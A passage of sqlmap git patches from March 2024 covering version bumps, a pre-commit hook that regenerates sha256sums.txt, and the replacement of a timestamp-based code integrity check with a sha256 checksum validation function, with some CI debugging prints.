+879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py +f517561115b0cfaa509d0d4216cd91c7de92c6a5a30f1688fdca22e4cd52b8f8 thirdparty/keepalive/keepalive.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py +4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py +fa2c4cfc6f1fb29a3cf4ad119243a10aef2dfe9cf93129436aa649baef8e4764 thirdparty/multipart/multipartpost.py +ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py +9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py +691ae693e3a33dd730930492ff9e7e3bdec45e90e3a607b869a37ecd0354c2d8 thirdparty/prettyprint/__init__.py +8df6e8c60eac4c83b1bf8c4e0e0276a4caa3c5f0ca57bc6a2116f31f19d3c33f thirdparty/prettyprint/prettyprint.py +3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py +d1d54fc08f80148a4e2ac5eee84c8475617e8c18bfbde0dfe6894c0f868e4659 thirdparty/pydes/pyDes.py +1c61d71502a80f642ff34726aa287ac40c1edd8f9239ce2e094f6fded00d00d4 thirdparty/six/__init__.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py +7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE +5ac11e932896dfb7d50353dd16f717bd98cb1fb235f28e6fe8880c03655838bb thirdparty/socks/socks.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py +b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py +4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py +7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502 thirdparty/wininetpton/win_inet_pton.py From 5a4602a9681ad7d9f694a279164fb3c74e2d84dd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 11:26:54 +0100 Subject: [PATCH 044/853] Minor update --- extra/shutils/precommit-hook.sh | 3 ++- lib/core/settings.py | 2 +- sha256sums.txt | 4 ++-- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index d30d21e8f09..da886841998 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -38,4 +38,5 @@ then git add "$SETTINGS_FULLPATH" fi -cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -v sha256 | xargs sha256sum > $DIGEST_FULLPATH +cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -v sha256 | xargs sha256sum > $DIGEST_FULLPATH && cd - +git add "$DIGEST_FULLPATH" diff --git a/lib/core/settings.py b/lib/core/settings.py index 79a22b79d70..df7395abc09 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.1" +VERSION = "1.8.3.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sha256sums.txt b/sha256sums.txt index 3cad0b17d05..f27862b4815 100644 --- a/sha256sums.txt +++ b/sha256sums.txt @@ -148,7 +148,7 @@ cb43de49a549ae5524f3066b99d6bc3b0b684c6e68c2e75602e87b2ac5718716 extra/shellcod 4d0a244b7c618e1539c72180f909792083c02cec31e27b44eec98b0055163536 extra/shutils/modernize.sh 74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh -501d2885ae97bd765e2ddccc081ff5adca164c48c0f043fa9e215f998a138df8 extra/shutils/precommit-hook.sh +9f67b912172d71f53fbd771bff990e0a338b97d714917c7b5fc2a1cdc597d6b5 extra/shutils/precommit-hook.sh 9a82c097f16a3062bd0e818bff12b4ec21b6f8f38b778604573a416589dfc450 extra/shutils/pycodestyle.sh fa1a42d189188770e82d536821d694626ca854438dadb9e08e143d3ece8c7e27 extra/shutils/pydiatra.sh 5da7d1c86ca93313477d1deb0d6d4490798a2b63a2dd8729094184625b971e11 extra/shutils/pyflakes.sh @@ -195,7 +195,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -a670f417bde1db1b1f45c8f4bd764483809870ae6680e0e81e0d619881ac142b lib/core/settings.py +5ee74d3884f2b37f06c8e9b26da439ceedde3b641063b4c97364c2d41f7f65cf lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py From 171ebf2ef64ade48d66ae1e1eeecf05cadc1a407 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 12:02:04 +0100 Subject: [PATCH 045/853] Update of the checksum validation mechanism --- lib/core/common.py | 20 ++++++++++++++++++++ lib/core/settings.py | 2 +- sha256sums.txt | 4 ++-- 3 files changed, 23 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index bccab6c670b..00cd99e6134 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1520,6 +1520,7 @@ def setPaths(rootPath): paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml") paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") + paths.DIGEST_FILE = os.path.join(paths.SQLMAP_ROOT_PATH, "sha256sums.txt") for path in paths.values(): if any(path.endswith(_) for _ in (".txt", ".xml", ".tx_")): @@ -5591,3 +5592,22 @@ def chunkSplitPostData(data): retVal += "0\r\n\r\n" return retVal + +def checkSums(): + """ + Validate the content of the digest file (i.e. sha256sums.txt) + """ + + retVal = True + + for entry in getFileItems(paths.DIGEST_FILE): + match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) + if match: + expected, filename = match.groups() + filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename) + checkFile(filepath) + if not hashlib.sha256(open(filepath, "rb").read()).hexdigest() == expected: + retVal &= False + break + + return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index df7395abc09..8b6bef44b57 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.2" +VERSION = "1.8.3.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sha256sums.txt b/sha256sums.txt index f27862b4815..6ff75c348c0 100644 --- a/sha256sums.txt +++ b/sha256sums.txt @@ -173,7 +173,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -8ef410802052ca28b9f3513859ac2de28769aaab12b254337e0eff02b7cd178e lib/core/common.py +484c6a755451b20a45a2694b168fb279c000fec16ba53489614c90b726d42f98 lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -195,7 +195,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -5ee74d3884f2b37f06c8e9b26da439ceedde3b641063b4c97364c2d41f7f65cf lib/core/settings.py +dbf74242ba1b3bf6698e0e844dd1bf272d9786a6ca37cba6fa9ec5d5fbac700a lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py From 1f41f8588b7f33fc78291937ee43a86fa6625fc0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 12:11:47 +0100 Subject: [PATCH 046/853] Replacing code integrity with code checksum mechanism --- lib/core/common.py | 46 ++++++++++---------------------------------- lib/core/settings.py | 2 +- sha256sums.txt | 6 +++--- sqlmap.py | 6 +++--- 4 files changed, 17 insertions(+), 43 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 00cd99e6134..dde275d7747 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3848,33 +3848,6 @@ def decodeIntToUnicode(value): return retVal -def checkIntegrity(): - """ - Checks integrity of code files during the unhandled exceptions - """ - - if not paths: - return - - logger.debug("running code integrity check") - - retVal = True - - baseTime = os.path.getmtime(paths.SQLMAP_SETTINGS_PATH) + 3600 # First hour free parking :) - for root, _, filenames in os.walk(paths.SQLMAP_ROOT_PATH): - for filename in filenames: - if re.search(r"(\.py|\.xml|_)\Z", filename): - filepath = os.path.join(root, filename) - if os.path.getmtime(filepath) > baseTime: - logger.error("wrong modification time of '%s'" % filepath) - retVal = False - - suffix = extractRegexResult(r"#(?P\w+)", VERSION_STRING) - if suffix and suffix not in {"dev", "stable"}: - retVal = False - - return retVal - def getDaysFromLastUpdate(): """ Get total number of days from last update @@ -5600,14 +5573,15 @@ def checkSums(): retVal = True - for entry in getFileItems(paths.DIGEST_FILE): - match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) - if match: - expected, filename = match.groups() - filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename) - checkFile(filepath) - if not hashlib.sha256(open(filepath, "rb").read()).hexdigest() == expected: - retVal &= False - break + if paths.get("DIGEST_FILE"): + for entry in getFileItems(paths.DIGEST_FILE): + match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) + if match: + expected, filename = match.groups() + filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename) + checkFile(filepath) + if not hashlib.sha256(open(filepath, "rb").read()).hexdigest() == expected: + retVal &= False + break return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 8b6bef44b57..fedb3a8c2d3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.3" +VERSION = "1.8.3.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sha256sums.txt b/sha256sums.txt index 6ff75c348c0..a9e0b298331 100644 --- a/sha256sums.txt +++ b/sha256sums.txt @@ -173,7 +173,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -484c6a755451b20a45a2694b168fb279c000fec16ba53489614c90b726d42f98 lib/core/common.py +9cf9eaca62cce2e9018b85b0359c825131b86c090d083c7e8bd0711cb1f007cd lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -195,7 +195,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -dbf74242ba1b3bf6698e0e844dd1bf272d9786a6ca37cba6fa9ec5d5fbac700a lib/core/settings.py +425d77598dda67fbe52e7ab5077791dda0038173845cc2d28dddc3e9cef66a4f lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -485,7 +485,7 @@ e1745b85de63c04be89705f919830a0584464fd15d7dc61a0df0a7e9459d24c5 README.md 6cfaaf6534688cecda09433246d0a8518f98ce5cf6d6a8159f24d70502cfc14f sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 5e172e315524845fe091aa0b7b29303c92ac8f67594c6d50f026d627e415b7ed sqlmap.conf -871cc04bf081b915b64e56934ddfdb0f3bd621d0fb0abe47460a7a5219db649e sqlmap.py +7800faa964d1fc06bbca856ca35bf21d68f5e044ae0bd5d7dea16d625d585adb sqlmap.py adda508966db26c30b11390d6483c1fa25b092942a29730e739e1e50c403a21f tamper/0eunion.py d38fe5ab97b401810612eae049325aa990c55143504b25cc9924810917511dee tamper/apostrophemask.py 8de713d1534d8cda171db4ceeb9f4324bcc030bbef21ffeaf60396c6bece31e4 tamper/apostrophenullencode.py diff --git a/sqlmap.py b/sqlmap.py index 8f491c17b80..b77eceee161 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -50,8 +50,8 @@ from lib.core.data import logger from lib.core.common import banner - from lib.core.common import checkIntegrity from lib.core.common import checkPipedInput + from lib.core.common import checkSums from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import extractRegexResult @@ -268,7 +268,7 @@ def main(): print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() - valid = checkIntegrity() + valid = checkSums() os._exitcode = 255 @@ -448,7 +448,7 @@ def main(): raise SystemExit elif valid is False: - errMsg = "code integrity check failed (turning off automatic issue creation). " + errMsg = "code checksum failed (turning off automatic issue creation). " errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "repository at '%s'" % GIT_PAGE logger.critical(errMsg) From d2e3eaceaf56bf8d33c5c5b4ba64478a99d9fb39 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 12:15:53 +0100 Subject: [PATCH 047/853] Minor patch --- lib/core/common.py | 4 +++- lib/core/settings.py | 2 +- sha256sums.txt | 4 ++-- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index dde275d7747..c932d54506d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5569,6 +5569,8 @@ def chunkSplitPostData(data): def checkSums(): """ Validate the content of the digest file (i.e. sha256sums.txt) + >>> checkSums() + True """ retVal = True @@ -5578,7 +5580,7 @@ def checkSums(): match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) if match: expected, filename = match.groups() - filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename) + filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) checkFile(filepath) if not hashlib.sha256(open(filepath, "rb").read()).hexdigest() == expected: retVal &= False diff --git a/lib/core/settings.py b/lib/core/settings.py index fedb3a8c2d3..58efeeb41aa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.4" +VERSION = "1.8.3.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sha256sums.txt b/sha256sums.txt index a9e0b298331..6efc4c530e8 100644 --- a/sha256sums.txt +++ b/sha256sums.txt @@ -173,7 +173,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -9cf9eaca62cce2e9018b85b0359c825131b86c090d083c7e8bd0711cb1f007cd lib/core/common.py +852a5daf18fb6322b06faab58bbfa632c1451ee16f77f3c9f7b283f085690c5b lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -195,7 +195,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -425d77598dda67fbe52e7ab5077791dda0038173845cc2d28dddc3e9cef66a4f lib/core/settings.py +467cb50c5063cd1017c27dcab5ce949c3c8226938a087478948a78c259312ae6 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py From b50e07d03e98129140db35bef8ba8e7433b91a5d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 12:23:43 +0100 Subject: [PATCH 048/853] Debugging CI/CD failure --- lib/core/common.py | 1 + lib/core/settings.py | 2 +- sha256sums.txt | 4 ++-- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index c932d54506d..1884f2b636e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5583,6 +5583,7 @@ def checkSums(): filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) checkFile(filepath) if not hashlib.sha256(open(filepath, "rb").read()).hexdigest() == expected: + print(filepath, hashlib.sha256(open(filepath, "rb").read()).hexdigest(), expected) retVal &= False break diff --git a/lib/core/settings.py b/lib/core/settings.py index 58efeeb41aa..3b6e769c862 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.5" +VERSION = "1.8.3.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sha256sums.txt b/sha256sums.txt index 6efc4c530e8..3dae760d1b6 100644 --- a/sha256sums.txt +++ b/sha256sums.txt @@ -173,7 +173,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -852a5daf18fb6322b06faab58bbfa632c1451ee16f77f3c9f7b283f085690c5b lib/core/common.py +76c7fc5b7fbb2c5531bcc55a6427b05abfe926c85720fd952e83c681b7f6b5fd lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -195,7 +195,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -467cb50c5063cd1017c27dcab5ce949c3c8226938a087478948a78c259312ae6 lib/core/settings.py +716523ef90b60d58e9057bb92e6e1d22398c3d9b7cb68786f71c5d90b7ef8f0f lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py From 9c742753cf0e398156c90d5ba056f0b5a0a0fecc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 12:54:15 +0100 Subject: [PATCH 049/853] Trying more CI/CD debugging --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- sha256sums.txt | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 1884f2b636e..09f8dbc35aa 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5585,6 +5585,6 @@ def checkSums(): if not hashlib.sha256(open(filepath, "rb").read()).hexdigest() == expected: print(filepath, hashlib.sha256(open(filepath, "rb").read()).hexdigest(), expected) retVal &= False - break + # break return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 3b6e769c862..3c92d9da741 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.6" +VERSION = "1.8.3.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sha256sums.txt b/sha256sums.txt index 3dae760d1b6..137f27ff454 100644 --- a/sha256sums.txt +++ b/sha256sums.txt @@ -173,7 +173,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -76c7fc5b7fbb2c5531bcc55a6427b05abfe926c85720fd952e83c681b7f6b5fd lib/core/common.py +67bad8157e09773db35c104bd847aa72c3a93dd2f03804c9738f0dd560a20bd8 lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -195,7 +195,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -716523ef90b60d58e9057bb92e6e1d22398c3d9b7cb68786f71c5d90b7ef8f0f lib/core/settings.py +5aecbcc1b619da81c4c2d98eff96c26f93df83102619fad8c6d5588c5b9d9f8a lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py From 576e3dbde8226e0fa66f006753ce8bb00ea61697 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 13:01:50 +0100 Subject: [PATCH 050/853] Minor patch --- .gitattributes | 6 ++++++ extra/shutils/precommit-hook.sh | 2 +- lib/core/settings.py | 2 +- sha256sums.txt | 6 +++--- 4 files changed, 11 insertions(+), 5 deletions(-) diff --git a/.gitattributes b/.gitattributes index dd5ba8f8848..a2da3658a48 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,8 +1,14 @@ *.conf text eol=lf +*.json text eol=lf *.md text eol=lf *.md5 text eol=lf +*.pl text eol=lf *.py text eol=lf +*.sh text eol=lf +*.sql text eol=lf +*.txt text eol=lf *.xml text eol=lf +*.yml text eol=lf LICENSE text eol=lf COMMITMENT text eol=lf diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index da886841998..230b91fc11a 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -38,5 +38,5 @@ then git add "$SETTINGS_FULLPATH" fi -cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -v sha256 | xargs sha256sum > $DIGEST_FULLPATH && cd - +cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv ' \.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - git add "$DIGEST_FULLPATH" diff --git a/lib/core/settings.py b/lib/core/settings.py index 3c92d9da741..8573e027d72 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.7" +VERSION = "1.8.3.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sha256sums.txt b/sha256sums.txt index 137f27ff454..f95e13e5817 100644 --- a/sha256sums.txt +++ b/sha256sums.txt @@ -148,7 +148,7 @@ 